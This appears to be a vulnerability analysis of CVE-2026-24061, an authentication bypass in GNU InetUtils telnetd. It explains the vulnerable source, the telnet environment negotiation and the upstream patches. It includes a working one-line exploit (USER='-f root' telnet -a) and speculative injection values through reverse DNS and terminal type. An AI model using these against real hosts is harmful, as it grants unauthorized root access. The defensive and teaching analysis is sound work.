
Deep technical analysis and scanner for CVE-2026-24061, a critical authentication bypass in GNU InetUtils telnetd, including exploit chain, PoC, and patch details.
CVE-2026-24061 is a critical (CVSS 9.8) remote authentication bypass vulnerability in GNU InetUtils telnetd that allows unauthenticated attackers to gain instant root access. The vulnerability stems from improper sanitization of the USER environment variable, which is passed directly to /usr/bin/login as a command-line argument. By setting USER=-f root, an attacker triggers login's -f flag, which bypasses authentication entirely.
Affected Versions: GNU InetUtils 1.9.3 through 2.7 Vulnerability Type: CWE-88 (Argument Injection) Discovery Date: January 20, 2026 Discoverer: Kyu Neushwaistein (aka Carlos Cortes Alvarez)
telnetd/telnetd.c, lines ~49-63)The vulnerability begins with a command template string that defines how telnetd invokes /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Key Observation: On non-Solaris systems, the template uses:
%?u{-f %u}{%U} - This is a conditional expression meaning:
user_name is set (%u), use -f %u (authenticated autologin)%U (the USER environment variable as fallback)The critical problem: %U expands to the raw, unsanitized USER environment variable.
telnetd/utility.c, _var_short_name())The template string gets processed by expand_line(), which calls _var_short_name() to expand placeholders. Here's the vulnerable code:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIALLY VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIALLY VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
The Critical Bug (case 'U'): The USER environment variable is fetched via getenv() and passed through without any sanitization. When an attacker sets USER=-f root, this becomes part of the login command line.
telnetd/pty.c, start_login())The expanded login invocation string is executed in start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
Attacker connects to telnetd (port 23)
Telnet option negotiation occurs:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (requesting environment)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEServer processes the USER variable:
getenv("USER") returns -f root%U expands to -f root/usr/bin/login -p -h <hostname> -f rootLogin interprets -f root:
-f flag means "skip authentication, user is pre-authenticated"root is the username to log in as# On attacker machine:
USER='-f root' telnet -a <target_ip>
The -a flag enables automatic login mode, which sends the USER environment variable to the server.
The security advisory explicitly notes: "Thus there is potential for similar vulnerabilities for other variables." Let's analyze each variable in _var_short_name():
| Var | Name | Source | User Controllable? | Sanitized? | Attack Surface |
|---|---|---|---|---|---|
%U | USER env var | getenv("USER") | YES (via NEW_ENVIRON) | NO | CRITICAL - CVE-2026-24061 |
%h | remote_hostname | DNS/PTR lookup | Partial (PTR record) | NO | HIGH |
%T | terminaltype | TERMINAL-TYPE option | YES | NO | MEDIUM |
%u | user_name | Protocol negotiation | YES | NO | MEDIUM (requires auth) |
%l | local_hostname | System config | NO | N/A | LOW |
%L | line (TTY) | System allocated | NO | N/A | LOW |
%t | tty shortname | System allocated | NO | N/A | LOW |
%d | date/time | System clock | NO | N/A | NONE |
%a | auth status | Internal state | NO | N/A | NONE |
%h - Remote Hostname (HIGH RISK)Source: Populated in telnetd_setup() from telnetd.c via getnameinfo() or gethostbyaddr().
The Problem: If an attacker controls their PTR (reverse DNS) record, they could potentially inject:
foo -f root
As their hostname, which would become part of the -h argument:
/usr/bin/login -p -h "foo -f root" ...
Exploitation Difficulty:
Real-world Scenario: An attacker with control of their IP's PTR record (common for VPS providers) could set their reverse DNS to a malicious value.
%T - Terminal Type (MEDIUM RISK)Source: Received via Telnet TERMINAL-TYPE subnegotiation, stored in terminaltype variable.
The Problem: The terminal type string is attacker-controlled and unsanitized:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Usage in Templates:
%?T{-t %T} - Used with -t flag%?T{%T} - Directly insertedPotential Attack:
TERMINAL-TYPE: xterm -f root
However, exploitation depends on:
%T (currently only Solaris)-t argument%u - Authenticated Username (MEDIUM RISK)Source: Set during authentication negotiation.
The Problem: Used in -f %u pattern:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
If an attacker could manipulate user_name to include shell metacharacters or additional arguments, they might achieve escalation. However, this variable is typically only set after some form of authentication validation.
%l, %L, %t: These are derived from system-controlled values (local hostname, TTY device names) that attackers cannot influence remotely.
%d: Generated from the system clock - no injection vector.
%a: Internal authentication state variable - returns literal "ok" or NULL.
Based on this vulnerability, here are patterns to search for in the codebase:
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")
Files to check:
telnetd/utility.c - Other expansion functionstelnetd/telnetd.c - Environment handlingrlogind/, rshd/ - Similar services// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...); // PTR lookups
gethostbyaddr(...);
// Then using result in command construction
ftpd daemon: Check how user input is handled in authentication and command processing
rshd/rlogind daemons: These use similar authentication patterns and may have comparable issues with hostname or environment handling
inetd configuration parsing: May process untrusted input when setting up services
Kerberos integration points: When processing principal names or authentication tokens
fd702c02)The first patch adds basic sanitization:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
This blocks values starting with - which prevents flag injection.
ccba9f74)The second patch introduces a reusable sanitize() function for all user-controlled inputs:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
Applied to all potentially dangerous variables:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 is a textbook argument injection vulnerability that went undetected for 11 years due to:
Similar vulnerabilities may exist in the %h (hostname) and %T (terminal type) variables, though exploitation is more complex.
Broader implications: Any code that constructs shell commands or program arguments from network-derived data should be audited for similar injection vulnerabilities.
Recommended mitigations:
-f flag